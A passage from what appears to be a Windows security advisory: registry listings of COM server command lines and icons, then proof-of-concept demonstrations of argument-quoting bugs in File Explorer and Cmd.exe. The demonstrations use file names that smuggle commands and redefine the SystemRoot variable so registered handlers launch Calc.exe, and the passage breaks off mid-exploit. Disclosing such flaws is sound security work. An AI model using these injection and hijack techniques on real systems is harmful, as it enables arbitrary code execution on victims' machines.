    {9a97f12a-6b73-4dc4-b3c1-e9244c03adac}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {9a97f12a-6b73-4dc4-b3c1-e9244c03adac}
    {9aa46009-3ce0-458a-a354-715610a075e6}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6}
    {9acf41ed-d457-4cc1-941b-ab02c26e4686}  %systemroot%\system32\wsmprovhost.exe
    {9BA05972-F6A8-11CF-A442-00A0C90A8F39}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39}
    {9C38ED61-D565-4728-AEEE-C80952F0ECDE}  %SystemRoot%\System32\vdsldr.exe
    {A19141CE-D197-4C8B-82C9-4995F5303497}  %SystemRoot%\System32\DisplaySwitch.exe
    {A55803CC-4D53-404c-8557-FD63DBA95D24}  %SystemRoot%\system32\WPDShextAutoplay.exe
    {a677570a-2ba2-4e9a-b2e2-8a02cd8b4fd3}  %SystemRoot%\system32\PrintIsolationHost.exe                                                                                                       PrintSys.CoPrintIsolationHost.1
    {aac1009f-ab33-48f9-9a21-7f5b88426a2e}  %SystemRoot%\system32\TSTheme.exe
    {AB93B6F1-BE76-4185-A488-A9001B105B94}  %SystemRoot%\System32\BdeUISrv.exe                                                                                                                 BdeUISrv.BDEUILauncher.1
    {B43A0C1E-B63F-4691-B68F-CD807A45DA01}  %SystemRoot%\system32\TSWbPrxy.exe                                                                                                                 MSTSWebProxy.MSTSWebProxy.1
    {B8558612-DF5E-4F95-BB81-8E910B327FB2}  %SystemRoot%\System32\mobsync.exe
    {b8f87e75-d1d5-446b-931c-3f61b97bca7a}  %systemroot%\system32\DXPServer.exe
    {B9B05098-3E30-483F-87F7-027CA78DA287}  %SystemRoot%\system32\ApplicationFrameHost.exe
    {BA441419-0B3F-4FB6-A903-D16CC14CCA44}  %SystemRoot%\system32\PickerHost.exe
    {BF8841C9-378A-4CAD-B4FC-5091366CBC0D}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {BF8841C9-378A-4CAD-B4FC-5091366CBC0D}
    {c08afd90-f2a1-11d1-8455-00a0c91f3880}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c08afd90-f2a1-11d1-8455-00a0c91f3880}
    {C6B167EA-DB3E-4659-BADC-D1CCC00EFE9C}  %SystemRoot%\System32\FodHelper.exe                                                                                                                FodHelper.FodHelperObj.1
    {c82192ee-6cb5-4bc0-9ef0-fb818773790a}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c82192ee-6cb5-4bc0-9ef0-fb818773790a}
    {C947D50F-378E-4FF6-8835-FCB50305244D}  %SystemRoot%\system32\mobsync.exe
    {CC6D9715-F553-4299-B2CE-6C7851FAA03A}  %SystemRoot%\system32\browser_broker.exe
    {cdc32574-7521-4124-90c3-8d5605a34933}  "%ProgramFiles%\Windows Media Player\wmplayer.exe" /BurnCD
    {ceff45ee-c862-41de-aee2-a022c81eda92}  %SystemRoot%\explorer.exe /factory,{ceff45ee-c862-41de-aee2-a022c81eda92}
    {D3E34B21-9D75-101A-8C3D-00AA001A1652}  %systemroot%\system32\mspaint.exe                                                                                                                  Paint.Picture
    {d54378cd-91d8-4e10-a00b-819f9a9efcb1}  %systemroot%\system32\printfilterpipelinesvc.exe                                                                                                   PrintSys.CoFilterPipeline.1
    {D5E8041D-920F-45e9-B8FB-B1DEB82C6E5E}  "%ProgramFiles%\Internet Explorer\iexplore.exe" -startmediumtab
    {DF4FCC34-067A-4E0A-8352-4A1A5095346E}  "%ProgramFiles%\Internet Explorer\iexplore.exe" -startmanager
    {e3a4e5ca-55b2-4a06-b1ab-8fbecc7bca4b}  %SystemRoot%\system32\rundll32.exe /sta {fcc2867c-69ea-4d85-8058-7c214e611c97}
    {e44e9428-bdbc-4987-a099-40dc8fd255e7}  %SystemRoot%\system32\OpenWith.exe
    {E7B3C0E0-FB47-49F6-A66B-8A7C2E4E7B9C}  %SystemRoot%\splwow64.exe
    {ed1d0fdf-4414-470a-a56d-cfb68623fc58}  "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Play
    {F0A3A195-8D6A-4BC7-BD1F-3B2A2D5807CA}  %SystemRoot%\system32\SettingSyncHost.exe
    {F1EFACAA-08A1-461B-9D28-7AA8947889A0}  %systemroot%\system32\SyncHost.exe
    {F2506CD7-82C2-43D9-A1D3-F85F5EFE7D09}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {F2506CD7-82C2-43D9-A1D3-F85F5EFE7D09}
    {F827EC16-664E-4B05-878C-02D242229094}  %SystemRoot%\system32\CloudNotifications.exe
    {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}  %SystemRoot%\System32\slui.exe                                                                                                                     SPPUI.SPPUIObjectInteractive.1
    {fb479c02-9ec4-4fed-8599-debe037452cb}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {fb479c02-9ec4-4fed-8599-debe037452cb}
    {FDA74D11-C4A6-4577-9F73-D7CA8586E10C}  %SystemRoot%\System32\ProximityUxHost.exe
    {FFB8655F-81B9-4fce-B89C-9A6BA76D13E7}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {FFB8655F-81B9-4fce-B89C-9A6BA76D13E7}              Shell.HWEventHandlerShellExecute.1
    
    ComponentId                             DefaultIcon                                               ProgId
    {025A5937-A6BE-4686-A844-36FE4BEC8B6D}  %SystemRoot%\System32\powercpl.dll,-1
    {031E4825-7B94-4dc3-B131-E946B44C8DD5}  %SystemRoot%\system32\imageres.dll,-1023
    {04731B67-D933-450a-90E6-4ACD2E9408FE}  %SystemRoot%\system32\Windows.Storage.Search.dll,-323
    {047ea9a0-93bb-415f-a1c3-d7aeb3dd5087}  %SystemRoot%\System32\fsquirt.exe,-107
    {05d7b0f4-2121-4eff-bf6b-ed3f69b894d9}  %SystemRoot%\System32\taskbarcpl.dll,-1
    {088e3905-0323-4b02-9826-5d99428e115f}  %SystemRoot%\system32\imageres.dll,-184
    {0C39A5CF-1A7A-40C8-BA74-8900E6DF5FCD}  %SystemRoot%\system32\imageres.dll,-117
    {0DB7E03F-FC29-4DC6-9020-FF41B59E513A}  %SystemRoot%\system32\imageres.dll,-198
    {0DF44EAA-FF21-4412-828E-260A8728E7F1}  %SystemRoot%\system32\imageres.dll,-80
    {0F563B5F-8EE2-4516-BA0A-544DE058C75B}  %SystemRoot%\System32\FileHistory.exe,-100
    {1206F5F1-0569-412C-8FEC-3204630DFB70}  %SystemRoot%\system32\Vault.dll,-1
    {148BD520-A2AB-11CE-B11F-00AA00530503}  %systemroot%\System32\mstask.dll,-101
    {148BD52A-A2AB-11CE-B11F-00AA00530503}  %systemroot%\System32\mstask.dll,0
    {15eae92e-f17a-4431-9f28-805e482dafd4}  %SystemRoot%\system32\imageres.dll,-87
    {17cd9488-1228-4b2f-88ce-4298e93e0966}  %SystemRoot%\System32\imageres.dll,-24
    {1CF1260C-4DD0-4ebb-811F-33C572699FDE}  %SystemRoot%\system32\imageres.dll,-108
    {1FA9085F-25A2-489B-85D4-86326EEDCD87}  %SystemRoot%\System32\wlanpref.dll
    {208D2C60-3AEA-1069-A2D7-08002B30309D}  %SystemRoot%\system32\imageres.dll,-25
    {20D04FE0-3AEA-1069-A2D8-08002B30309D}  %SystemRoot%\System32\imageres.dll,-109
    {21EC2020-3AEA-1069-A2DD-08002B30309D}  %SystemRoot%\System32\imageres.dll,-27
    {2227A280-3AEA-1069-A2DE-08002B30309D}  %SystemRoot%\System32\imageres.dll,-26
    {22877a6d-37a1-461a-91b0-dbda5aaebc99}  %SystemRoot%\system32\imageres.dll,-117
    {24ad3ad4-a569-4530-98e1-ab02f9417aa8}  %SystemRoot%\system32\imageres.dll,-113
    {2559a1f0-21d7-11d4-bdaf-00c04f60b9f0}  %SystemRoot%\System32\imageres.dll,-177
    {2559a1f2-21d7-11d4-bdaf-00c04f60b9f0}  %SystemRoot%\System32\shell32.dll,-48
    {2559a1f3-21d7-11d4-bdaf-00c04f60b9f0}  %SystemRoot%\System32\imageres.dll,-100
    {2559a1f5-21d7-11d4-bdaf-00c04f60b9f0}  %SystemRoot%\explorer.exe,-254
    {2559a1f7-21d7-11d4-bdaf-00c04f60b9f0}  %SystemRoot%\System32\imageres.dll,-24
    {26EE0668-A00A-44D7-9371-BEB064C98683}  %SystemRoot%\System32\imageres.dll,-27
    {28803F59-3A75-4058-995F-4EE5503B023C}  %systemroot%\system32\DevicePairingFolder.dll,-200
    {289AF617-1CC3-42A6-926C-E6A863F0E3BA}  dlnashext.dll,-200
    {2E17C0EF-2851-459b-A3C8-27A41D4BC9F7}  %SystemRoot%\system32\themeui.dll,7                       Theme.Manager.1
    {2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}  FileHistory.exe,0
    {3080F90D-D7AD-11D9-BD98-0000947B0257}  %SystemRoot%\explorer.exe,-103
    {3080F90E-D7AD-11D9-BD98-0000947B0257}  %SystemRoot%\explorer.exe,-258
    {3134ef9c-6b18-4996-ad04-ed5912e00eb5}  %SystemRoot%\system32\imageres.dll,-117
    {323CA680-C24D-4099-B94D-446DD2D7249E}  %SystemRoot%\system32\imageres.dll,-1024
    {328B0346-7EAF-4BBE-A479-7CB88A095F5B}  %SystemRoot%\system32\imageres.dll,-27                    LayoutFolder
    {374DE290-123F-4565-9164-39C4925E467B}  %SystemRoot%\system32\imageres.dll,-184
    {38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B}  %SystemRoot%\system32\imageres.dll,-171
    {3936E9E4-D92C-4EEE-A85A-BC16D5EA0819}  %SystemRoot%\system32\shell32.dll,-37219
    {3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}  %SystemRoot%\system32\imageres.dll,-113
    {3dfdf296-dbec-4fb4-81d1-6a3438bcf4de}  %SystemRoot%\system32\imageres.dll,-108
    {3f6bc534-dfa1-4ab4-ae54-ef25a74e0107}  %SystemRoot%\System32\rstrui.exe,0
    {40419485-C444-4567-851A-2DD7BFA1684D}  %SystemRoot%\System32\telephon.cpl,-100
    {430da762-8632-4840-bc61-3eeaa078e62e}  %SystemRoot%\system32\display.dll,1
    {450D8FBA-AD25-11D0-98A8-0800361B1103}  %SystemRoot%\system32\shell32.dll,-235
    {48123BC4-99D9-11D1-A6B3-00C04FD91555}  %SystemRoot%\System32\msxml3.dll,0                        xmlfile
    {4c892621-6757-4fe0-ad8c-a6301be7fba2}  %SystemRoot%\system32\themeui.dll,7
    {5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}  %SystemRoot%\system32\imageres.dll,-27
    {58E3C745-D971-4081-9034-86E34B30836A}  %SystemRoot%\System32\Speech\SpeechUX\speechuxcpl.dll,-1
    {59031a47-3f72-44a7-89c5-5595fe6b30ee}  %SystemRoot%\system32\imageres.dll,-123
    {5ea4f148-308c-46d7-98a9-49041b1dd468}  %SystemRoot%\system32\mblctr.exe,0
    {5ED4F38C-D3FF-4D61-B506-6820320AEBFE}  %SystemRoot%\System32\imageres.dll,-27
    {5ef4af3a-f726-11d0-b8a2-00c04fc309a4}  %SystemRoot%\system32\shell32.dll,-33
    {60632754-c523-4b62-b45c-4172da012619}  %SystemRoot%\System32\usercpl.dll,-1
    {60F6E464-4DEF-11d2-B2D9-00C04F8EEC8C}  %SystemRoot%\System32\DATACLEN.DLL,-2002
    {62D8ED13-C9D0-4CE8-A914-47DD628FB1B0}  %SystemRoot%\System32\intl.cpl,-200
    {6377013E-2C35-40F3-B8E1-1AB47D12982B}  %SystemRoot%\system32\WABSyncProvider.dll,0
    {63da6ec0-2e98-11cf-8d82-444553540000}  %SystemRoot%\system32\imageres.dll,-73
    {645FF040-5081-101B-9F08-00AA002F954E}  %SystemRoot%\System32\imageres.dll,-55
    {67718415-c450-4f3c-bf8a-b487642dc39b}  %SystemRoot%\system32\imageres.dll,-87
    {679f85cb-0220-4080-b29b-5540cc05aab6}  %SystemRoot%\system32\shell32.dll,-51380
    {67CA7650-96E6-4FDD-BB43-A8E774F73A57}  %SystemRoot%\System32\imageres.dll,-1013
    {6C8EEC18-8D75-41B2-A177-8831D59D2D50}  %SystemRoot%\System32\main.cpl,-100
    {6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}  %SystemRoot%\system32\imageres.dll,-166
    {7007ACC7-3202-11D1-AAD2-00805FC1270E}  %SystemRoot%\system32\netshell.dll
    {725BE8F7-668E-4C7B-8F90-46BDB0936430}  %SystemRoot%\System32\main.cpl,-200
    {73FDDC80-AEA9-101A-98A7-00AA00374959}  "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE",1     WordPad.Document.1
    {74246bfc-4c96-11d0-abef-0020af6b0b7a}  %SystemRoot%\system32\devmgr.dll,-201
    {7A9D77BD-5403-11d2-8785-2E0420524153}  %SystemRoot%\system32\netplwiz.dll,-102
    {7b81be6a-ce2b-4676-a29e-eb907a5126c5}  %SystemRoot%\system32\imageres.dll,-87
    {80F3F1D5-FECA-45F3-BC32-752C152E456E}  %SystemRoot%\System32\tabletpc.cpl,-10200
    {863aa9fd-42df-457b-8e4d-0de1b8015c60}  %SystemRoot%\System32\imageres.dll,-26
    {87D66A43-7B11-4A28-9811-C86EE395ACF7}  %SystemRoot%\System32\srchadmin.dll,-201
    {888DCA60-FC0A-11CF-8F0F-00C04FD7D062}  %SystemRoot%\system32\zipfldr.dll
    {89D83576-6BD1-4c86-9454-BEB04E94C819}  %systemroot%\system32\mssvp.dll,-504
    {8E0C279D-0BD1-43C3-9EBD-31C3DC5B8A77}  %SystemRoot%\System32\pwcreator.exe,-2001
    {8E908FC9-BECC-40f6-915B-F4CA0E70D03D}  %SystemRoot%\System32\netcenter.dll,-1
    {8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}  %systemroot%\system32\dxp.dll,0
    {9324DA94-50EC-4A14-A770-E90CA03E7C8F}  %SystemRoot%\system32\themeui.dll,7
    {93412589-74D4-4E4E-AD0E-E0CB621440FD}  %SystemRoot%\System32\fontext.dll
    {9343812e-1c37-4a49-a12e-4b2d810d956b}  %SystemRoot%\System32\searchfolder.dll,-323
    {98F275B4-4FFF-11E0-89E2-7B86DFD72085}  %SystemRoot%\system32\SearchFolder.dll,-323
    {992CFFA0-F557-101A-88EC-00DD010CCC48}  %SystemRoot%\system32\netshell.dll
    {9C60DE1E-E5FC-40f4-A487-460851A8D915}  %SystemRoot%\System32\autoplay.dll,-1
    {9C73F5E5-7AE7-4E32-A8E8-8D23B85255BF}  %SystemRoot%\System32\SyncCenter.dll,-1000
    {9DB7A13C-F208-4981-8353-73CC61AE2783}  %SystemRoot%\system32\twext.dll,-100                      Previous.Versions
    {9E56BE60-C50F-11CF-9A2C-00A0C90A90CE}  %SystemRoot%\system32\sendmail.dll,-2001
    {9E56BE61-C50F-11CF-9A2C-00A0C90A90CE}  %SystemRoot%\system32\imageres.dll,-110
    {9FE63AFD-59CF-4419-9775-ABCC3849F861}  %SystemRoot%\System32\imageres.dll,-1022
    {a00ee528-ebd9-48b8-944a-8942113d46ac}  %SystemRoot%\system32\SearchFolder.dll,-323
    {A0953C92-50DC-43bf-BE83-3742FED03C9C}  %SystemRoot%\system32\imageres.dll,-189
    {A8A91A66-3A7D-4424-8D24-04E180695C7A}  %systemroot%\system32\DeviceCenter.dll,-1
    {A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}  %SystemRoot%\system32\imageres.dll,-112
    {A9B48EAC-3ED8-11d2-8216-00C04FB687DA}  %SystemRoot%\System32\DATACLEN.DLL,-2000
    {ADB9F5A4-E73E-49b8-99B6-2FA317EF9DBC}  %SystemRoot%\system32\themeui.dll,7
    {AFDB1F70-2A4C-11d2-9039-00C04F8EEB3E}  %SystemRoot%\System32\cscui.dll
    {B12AE898-D056-4378-A844-6D393FE37956}  %SystemRoot%\system32\themeui.dll,7
    {B4BFCC3A-DB2C-424C-B029-7FE99A87C641}  %SystemRoot%\system32\imageres.dll,-183
    {B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}  %SystemRoot%\system32\imageres.dll,-1013
    {B7BBD408-F09C-4aa8-B65E-A00B8FE0F0B9}  %SystemRoot%\system32\themeui.dll,7
    {B98A2BEA-7D42-4558-8BD1-832F41BAC6FD}  %SystemRoot%\System32\sdcpl.dll,-1
    {BA126E01-2166-11D1-B1D0-00805FC1270E}  %SystemRoot%\system32\netshell.dll
    {BA126F01-2166-11D1-B1D0-00805FC1270E}  %SystemRoot%\system32\netshell.dll
    {BB06C0E4-D293-4f75-8A90-CB05B6477EEE}  %SystemRoot%\System32\imageres.dll,-149
    {BB64F8A7-BEE7-4E1A-AB8D-7D8273F7FDB6}  %SystemRoot%\System32\ActionCenterCPL.dll,-1
    {BC48B32F-5910-47F5-8570-5074A8A5636A}  %SystemRoot%\System32\SyncCenter.dll,-1000
    {BD7A2E7B-21CB-41b2-A086-B309680C6B7E}  %systemroot%\system32\mssvp.dll,-505
    {BD84B380-8CA2-1069-AB1D-08000948F534}  %SystemRoot%\System32\fontext.dll
    {c57a6066-66a3-4d91-9eb9-41532179f0a5}  %SystemRoot%\system32\imageres.dll,-1020
    {C58C4893-3BE0-4B45-ABB5-A63E4B8C8651}  %SystemRoot%\System32\DiagCpl.dll,-1
    {c79d1575-b8c6-4862-a284-788836518b97}  %SystemRoot%\system32\display.dll,1
    {d0da2915-3f89-4519-a4ca-5e02528c8ec4}  %SystemRoot%\system32\playlistfolder.dll
    {D17D1D6D-CC3F-4815-8FE3-607E7D5D10B3}  %SystemRoot%\System32\Speech\SpeechUX\sapi.cpl,-138
    {D2035EDF-75CB-4EF1-95A7-410D9EE17170}  dlnashext.dll,-200
    {D20EA4E1-3957-11d2-A40B-0C5020524153}  %SystemRoot%\System32\imageres.dll,-114
    {d3162b92-9365-467a-956b-92703aca08af}  %SystemRoot%\system32\imageres.dll,-112
    {D3E34B21-9D75-101A-8C3D-00AA001A1652}  %systemroot%\system32\mspaint.exe,-3                      Paint.Picture
    {D4480A50-BA28-11d1-8E75-00C04FA31A86}  %SystemRoot%\System32\shwebsvc.dll,-107
    {d450a8a1-9568-45c7-9c0e-b4f9fb4537bd}  appwiz.cpl,-1507
    {D555645E-D4F8-4c29-A827-D93C859C4F2A}  %SystemRoot%\System32\accessibilitycpl.dll,-1
    {D9EF8727-CAC2-4e60-809E-86F80A666C91}  %SystemRoot%\System32\fvecpl.dll,-1
    {daf95313-e44d-46af-be1b-cbacea2c3065}  %SystemRoot%\system32\SearchFolder.dll,-323
    {E2E7934B-DCE5-43C4-9576-7FE4F75E7480}  %SystemRoot%\System32\timedate.cpl,-50
    {e345f35f-9397-435c-8f95-4e922c26259e}  %SystemRoot%\system32\SearchFolder.dll,-323
    {E413D040-6788-4C22-957E-175D1C513A34}  %SystemRoot%\System32\SyncCenter.dll,-1000
    {E44E5D18-0652-4508-A4E2-8A090067BCB0}  %SystemRoot%\system32\imageres.dll,-24
    {E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31}  %SystemRoot%\system32\zipfldr.dll                         CompressedFolder
    {E96F5460-09CE-4f46-88B1-F4B6B4A8E252}  %SystemRoot%\system32\wmploc.dll, 101
    {ECF03A32-103D-11d2-854D-006008059367}  %SystemRoot%\system32\imageres.dll,-1002
    {ED7BA470-8E54-465E-825C-99712043E01C}  %SystemRoot%\System32\imageres.dll,-27
    {ED834ED6-4B5A-4bfe-8F11-A626DCB6A921}  %SystemRoot%\System32\themecpl.dll,-1
    {F02C1A0D-BE21-4350-88B0-7367FC96EF3C}  %SystemRoot%\System32\imageres.dll,-25
    {F1390A9A-A3F4-4E5D-9C5F-98F3BD8D935C}  %SystemRoot%\System32\SyncCenter.dll,-1000
    {F20DA720-C02F-11CE-927B-0800095AE340}  %SystemRoot%\system32\packager.dll,0                      Package
    {F2DDFC82-8F12-4CDD-B7DC-D4FE1425AA4D}  %SystemRoot%\System32\mmsys.cpl,-100
    {F5078F40-C551-11D3-89B9-0000F81FE221}  %SystemRoot%\System32\msxml3.dll,0                        xmlfile
    {F6B6E965-E9B2-444B-9286-10C9152EDBC5}  %SystemRoot%\System32\FileHistory.exe
    {F82DF8F7-8B9F-442E-A48C-818EA735FF9B}  %SystemRoot%\System32\tabletpc.cpl,-10201
    {f86fa3ab-70d2-4fc7-9c99-fcbf05467f3a}  %SystemRoot%\system32\imageres.dll,-189
    {FF3AE31D-55B0-4945-BDE9-622ABB334C1A}  %SystemRoot%\system32\WABSyncProvider.dll,0
    
    ComponentId                             ProgId                           ToolBoxBitmap32
    {04a1e553-fe36-4fde-865e-344194e69424}  msinkaut.InkPicture.1            %CommonProgramFiles%\Microsoft Shared\Ink\InkObj.dll, 212
    {289228DE-A31E-11D1-A19C-0000F875B132}  ListPad.ListPad.1                cic.dll, 1
    {44F9A03B-A3EC-4F3B-9364-08E0007F21DF}  Control.TaskSymbol.1             mmcndmgr.dll, 101
    {545AE700-50BF-11D1-9FE9-00600832DB4A}  MMCCtrl.MMCCtrl.1                cic.dll, 1
    {5828227c-20cf-4408-b73f-73ab70b8849f}  RdpCoreTS.WRdsProtocolManager.1  %windir%\system32\rdpcorets.dll, 1
    {6BF52A52-394A-11d3-B153-00C04F79FAA6}  WMPlayer.OCX.7                   %SystemRoot%\system32\wmploc.dll, 101
    {850D1D11-70F3-4BE5-9A11-77AA6B2BB201}  WIA.CommonDialog.1               %SystemRoot%\System32\wiaaut.dll, 102
    {888D5481-CABB-11D1-8505-00A0C91F9CA0}  VideoRenderCtl.VideoRenderCtl.1  qdvd.dll, 1
    {9BA05971-F6A8-11CF-A442-00A0C90A8F39}  Shell.FolderView.1               %SystemRoot%\system32\shell32.dll, 260
    {AEB84C83-95DC-11D0-B7FC-B61140119C4A}  DiskManagement.Control           %SystemRoot%\System32\dmview.ocx,1
    {B0395DA5-6A15-4E44-9F36-9A9DC7A2F341}  MMC.IconControl.1                mmcndmgr.dll, 1
    {C3701884-B39B-11D1-9D68-00C04FC30DF6}  OlePrn.OleInstall.1              %SystemRoot%\system32\oleprn.dll, 1
    {C47195EC-CD7A-11D1-8EA3-00C04F9900D7}  SysColorCtrl.SysColorCtrl.1      cic.dll, 1
    {E1C5D730-7E97-4D8A-9E42-BBAE87C2059F}  WIA.DeviceManager.1              %SystemRoot%\System32\wiaaut.dll, 103

Demonstration

The demonstrations use Windows Calculator Calc.exe and Windows Shell Obsolete APIs ShUnimpl.dll as indicators and execute them instead of either the application or the DLL associated with the exploited file extension.

Note: to inhibit its use, the DllMain() entry point function of ShUnimpl.dll intentionally returns FALSE; the error message box shown by RunDLL32.exe is therefore expected and used here to display the pathname of the spoofed DLL.

Note: the command line START ‹filename›.‹extension› is equivalent to a double-click on the file ‹filename›.‹extension›.

Note: the command lines can be copied and pasted as blocks into the Command Prompt window!

Exploit 0

  1. Start a Command Prompt, then create a new directory, for example %SystemDrive%\Sloppy\, and create 8 (empty) files TMP Calc, TMP%Calc, TMP!Calc, TMP^Calc, TMP;Calc, TMP,Calc, TMP=Calc and TMP&Calc in this directory:

    MKDIR "%SystemDrive%\Sloppy"
    FOR %? IN (" " "%" "!" "^" ";" "," "=" "&") DO @COPY NUL: "%SystemDrive%\Sloppy\TMP%~?Calc"
            1 file(s) copied.
    …
            1 file(s) copied.
  2. Save the following batch script as Sloppy.cmd in the directory created in step 1.:

    @Echo Off
    SetLocal EnableExtensions
    Echo Command Line:
    Echo	!CMDCMDLINE!
    Echo.
    Echo Arguments:
    Echo *	"%*"
    If Not "%~0" == "" Echo 0	"%~0"
    If Not "%~1" == "" Echo 1	"%~1"
    If Not "%~2" == "" Echo 2	"%~2"
    If Not "%~3" == "" Echo 3	"%~3"
    If Not "%~4" == "" Echo 4	"%~4"
    If Not "%~5" == "" Echo 5	"%~5"
    If Not "%~6" == "" Echo 6	"%~6"
    If Not "%~7" == "" Echo 7	"%~7"
    If Not "%~8" == "" Echo 8	"%~8"
    If Not "%~9" == "" Echo 9	"%~9"
    Pause
    Note: the batch script echoes the command line and its arguments.
  3. Open the directory created in step 1. in File Explorer, then select the 8 files TMP?Calc created in step 1., drag them onto the batch script Sloppy.cmd created in step 2., and drop them to execute it with all 8 files as arguments:

    Command Line:
    C:\Windows\system32\cmd.exe /c ""C:\Sloppy\Sloppy.cmd" C:\Sloppy\TMP=Calc "C:\Sloppy\TMP Calc" C:\Sloppy\TMP!Calc C:\Sloppy\TMP%Calc C:\Sloppy\TMP&Calc C:\Sloppy\TMP,Calc C:\Sloppy\TMP;Calc C:\Sloppy\TMP^Calc"
    
    Arguments:
    *       "C:\Sloppy\TMP=Calc "C:\Sloppy\TMP Calc" C:\Sloppy\TMP\Sloppy\TMP%Calc C:\Sloppy\TMP"
    0       "C:\Sloppy\Sloppy.cmd"
    1       "C:\Sloppy\TMP"
    2       "Calc"
    3       "C:\Sloppy\TMP Calc"
    4       "C:\Sloppy\TMPCalc"
    5       "C:\Sloppy\TMP%Calc"
    6       "C:\Sloppy\TMP"
    Press any key . . .
    OUCH¹: File Explorer fails to enclose arguments in (double) quotes '"' unless they contain a space, exposing multiple bugs of the Command Processor Cmd.exe here:
  4. Deselect the file TMP&Calc, then drag and drop the remaining 7 files onto the batch script Sloppy.cmd to execute it with these 7 files as arguments:

    Command Line:
    C:\Windows\system32\cmd.exe /c ""C:\Sloppy\Sloppy.cmd" C:\Sloppy\TMP=Calc "C:\Sloppy\TMP Calc" C:\Sloppy\TMP!Calc C:\Sloppy\TMP%Calc C:\Sloppy\TMP,Calc C:\Sloppy\TMP;Calc C:\Sloppy\TMP^Calc"
    
    Arguments:
    *       "C:\Sloppy\TMP=Calc "C:\Sloppy\TMP Calc" C:\Sloppy\TMP\Sloppy\TMP%Calc C:\Sloppy\TMP,Calc C:\Sloppy\TMP;Calc C:\Sloppy\TMPCalc"
    0       "C:\Sloppy\Sloppy.cmd"
    1       "C:\Sloppy\TMP"
    2       "Calc"
    3       "C:\Sloppy\TMP Calc"
    4       "C:\Sloppy\TMPCalc"
    5       "C:\Sloppy\TMP%Calc"
    6       "C:\Sloppy\TMP"
    7       "Calc"
    8       "C:\Sloppy\TMP"
    9       "Calc"
    Press any key . . .
    OUCH²: the unquoted arguments expose more bugs of the Command Processor:
  5. Start the batch script Sloppy.cmd with all 8 properly quoted fully qualified pathnames as arguments:

    CHDIR /D "%SystemRoot%\Sloppy"
    START Sloppy.cmd "%CD%\TMP=Calc" "%CD%\TMP Calc" "%CD%\TMP!Calc" "%CD%\TMP%Calc" "%CD%\TMP,Calc" "%CD%\TMP;Calc" "%CD%\TMP^Calc" "%CD%\TMP&Calc"
    Command Line:
    C:\Windows\system32\cmd.exe /c ""C:\Sloppy\Sloppy.cmd"  "C:\Sloppy\TMP=Calc" "C:\Sloppy\TMP Calc" "C:\Sloppy\TMP!Calc" "C:\Sloppy\TMP%Calc" "C:\Sloppy\TMP,Calc" "C:\Sloppy\TMP;Calc" "C:\Sloppy\TMPCalc" "C:\Sloppy\TMP&Calc""
    
    Arguments:
    *       ""C:\Sloppy\TMP=Calc" "C:\Sloppy\TMP Calc" "C:\Sloppy\TMPCalc" "C:\Sloppy\TMP%Calc" "C:\Sloppy\TMP,Calc" "C:\Sloppy\TMP;Calc" "C:\Sloppy\TMPCalc" "C:\Sloppy\TMP
    0       "C:\Sloppy\Sloppy.cmd"
    1       "C:\Sloppy\TMP=Calc"
    2       "C:\Sloppy\TMP Calc"
    3       "C:\Sloppy\TMPCalc"
    4       "C:\Sloppy\TMP%Calc"
    5       "C:\Sloppy\TMP,Calc"
    6       "C:\Sloppy\TMP;Calc"
    7       "C:\Sloppy\TMPCalc"
    8       "C:\Sloppy\TMP&Calc"
    Press any key . . .
    Note: while echoing the quoted variable "%*" starts Calc.exe now due to the double (double) quotes '"', the quoted arguments "%CD%\TMP=Calc", "%CD%\TMP,Calc" and "%CD%\TMP;Calc" are not splitted any more.
  6. Finally start the Command Processor with the batch script Sloppy.cmd and at least another argument, all fully qualified and properly quoted:

    "%COMSPEC%" /C "%CD%\Sloppy.cmd" "%CD%\TMP Calc"
    'C:\Sloppy\Sloppy.cmd" "C:\Sloppy\TMP Calc' is not recognized as an internal or external command, operable program or batch file.
    OUCH³: if the first and the last argument following the /C or /K command line switch are both quoted, the remainder of the command line is interpreted as single argument, the (path)name of a command or a batch script!

Exploit 1

Start a Command Prompt and run the following commands to exploit some registered command lines with an unquoted application pathname containing an environment variable:
REM Copyright © 2009-2020, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
CHDIR /D "%USERPROFILE%"
SET SystemRoot=%SystemRoot%\System32\Calc.exe *
SET SystemRoot
COPY NUL: Desktop\Sloppy.cer
START Desktop\Sloppy.cer
RENAME Desktop\Sloppy.cer Sloppy.hlp
START Desktop\Sloppy.hlp
RENAME Desktop\Sloppy.hlp Sloppy.log
START Desktop\Sloppy.log
RENAME Desktop\Sloppy.log Sloppy.msc
START Desktop\Sloppy.msc
RENAME Desktop\Sloppy.msc Sloppy.webpnp
START Desktop\Sloppy.webpnp
…
ERASE Desktop\Sloppy.*
EXIT
SystemRoot=C:\Windows\System32\Calc.exe *
        1 file(s) copied.

Exploit 2

Start a Command Prompt and run the following commands to exploit some registered command lines with a quoted application pathname containing an environment variable:
REM Copyright © 2009-2020, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
CHDIR /D "%USERPROFILE%"
SET SystemRoot=%SystemRoot%\System32\Calc.exe^" ^"*
